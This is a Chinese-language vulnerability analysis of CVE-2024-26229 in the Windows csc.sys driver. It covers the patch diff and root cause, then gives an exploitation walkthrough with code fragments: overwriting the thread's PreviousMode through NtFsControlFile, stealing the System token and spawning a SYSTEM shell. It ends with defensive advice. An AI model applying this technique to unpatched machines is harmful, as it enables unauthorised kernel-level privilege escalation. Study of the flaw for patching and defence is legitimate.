cve-2024-26229 漏洞分析
字数 1602 2025-08-19 12:41:34
CVE-2024-26229 Windows内核漏洞分析与利用技术
漏洞概述
CVE-2024-26229是Windows内核中csc.sys驱动的一个安全漏洞,属于任意地址写0漏洞。该漏洞存在于Windows的Client Side Caching (CSC)服务中,攻击者可以利用此漏洞提升权限至SYSTEM级别。
背景知识
Client Side Caching (CSC)服务
Windows支持多种基于网络的文件服务系统(SMB/WebDAV等),CSC服务允许程序在离线状态下保留对远程文件的修改,并在网络恢复后同步数据。csc.sys是实现该服务的核心模块,属于内核网络迷你重定向(Mini-Redirector)驱动。
NtFsControlFile与IRP机制
Windows内核使用IRP(I/O Request Package)实现用户态与内核态的通信:
IRP_MJ_DEVICE_CONTROL:用于与特定设备通信(用户态通过DeviceIoControl调用)IRP_MJ_FILE_SYSTEM_CONTROL:用于文件系统操作(用户态通过NtFsControlFile调用)
NtFsControlFile函数原型:
NtFsControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG FsControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);
内存传输模式
Windows定义了三种内存传输模式,由FSCTL/IOCTL的最低两位决定:
-
METHOD_BUFFERED (0):
- Windows申请内核内存维护输入输出
- 最安全,内核会验证缓冲区大小和权限
-
METHOD_IN_DIRECT/METHOD_OUT_DIRECT (1/2):
- 效率较高,使用MDL映射用户内存
- 需要驱动自行保护DIRECT侧数据
-
METHOD_NEITHER (3):
- 直接使用用户态地址
- Windows不做任何检查,完全由驱动验证
漏洞分析
漏洞位置
漏洞存在于csc.sys驱动的CscDevFcbXXXControlFile函数中,处理FSCTL码0x1401A3时。
补丁对比
补丁前代码:
if (a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_) {
if (a1->FsControlCode == 0x1401A3) {
Type3InputBuffer = a1->Type3InputBuffer;
v4 = 0;
a1->t23 = 0i64;
*(_QWORD *)(Type3InputBuffer + 24) = 0i64;
}
}
补丁后代码:
if (a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_) {
v10 = *(_QWORD *)(FSCtx + 40);
if (a1->FsControlCode == 0x1401A3) {
if ((unsigned int)Feature_1275465022__private_IsEnabledDeviceUsage()) {
InputBufferLength = a1->InputBufferLength;
a1->t23 = 0i64;
if (InputBufferLength < 0x24) {
v2 = -1073741789;
} else {
Type3InputBuffer = a1->Type3InputBuffer;
if (a1->irp->RequestorMode)
ProbeForWrite((volatile void *)a1->Type3InputBuffer, InputBufferLength, 4u);
if (*(_DWORD *)(Type3InputBuffer + 4) == 6) {
*(_QWORD *)(Type3InputBuffer + 24) = 0i64;
v2 = 0;
} else {
v2 = -1073741811;
}
}
}
}
}
漏洞成因
- 使用
METHOD_NEITHER传输模式(FSCTL码最后两位为3) - 未对用户提供的
Type3InputBuffer进行充分验证:- 未检查输入缓冲区长度(补丁后要求≥0x24)
- 未验证用户态指针有效性(补丁后增加
ProbeForWrite)
- 导致可以向任意地址写入0值
漏洞利用技术
PreviousMode利用技巧
Windows线程的PreviousMode字段决定安全检查级别:
typedef enum _MODE {
KernelMode,
UserMode,
MaximumMode
} MODE;
关键点:
- 用户态发起的请求
PreviousMode为UserMode - 内核态发起的请求
PreviousMode为KernelMode NtRead/WriteVirtualMemory在KernelMode下不检查地址空间
利用步骤
-
泄露内核对象地址:
- 使用
NtQuerySystemInformation泄露System进程的EPROCESS - 获取当前线程的
ETHREAD
- 使用
-
触发漏洞修改PreviousMode:
status = NtFsControlFile( handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0); -
特权提升:
- 使用无检查的读写操作将System进程的Token复制到当前进程
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8); -
恢复PreviousMode:
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1); -
生成SYSTEM shell:
system("cmd.exe");
新版本Windows的限制
较新Windows版本已修复NtQuerySystemInformation的句柄泄露问题,需要寻找其他攻击原语:
- 其他内核信息泄露方法
- 替代的提权技术
防御建议
- 及时安装微软安全更新
- 禁用不必要的网络文件服务
- 启用内核模式代码签名验证
- 使用受控文件夹访问等缓解措施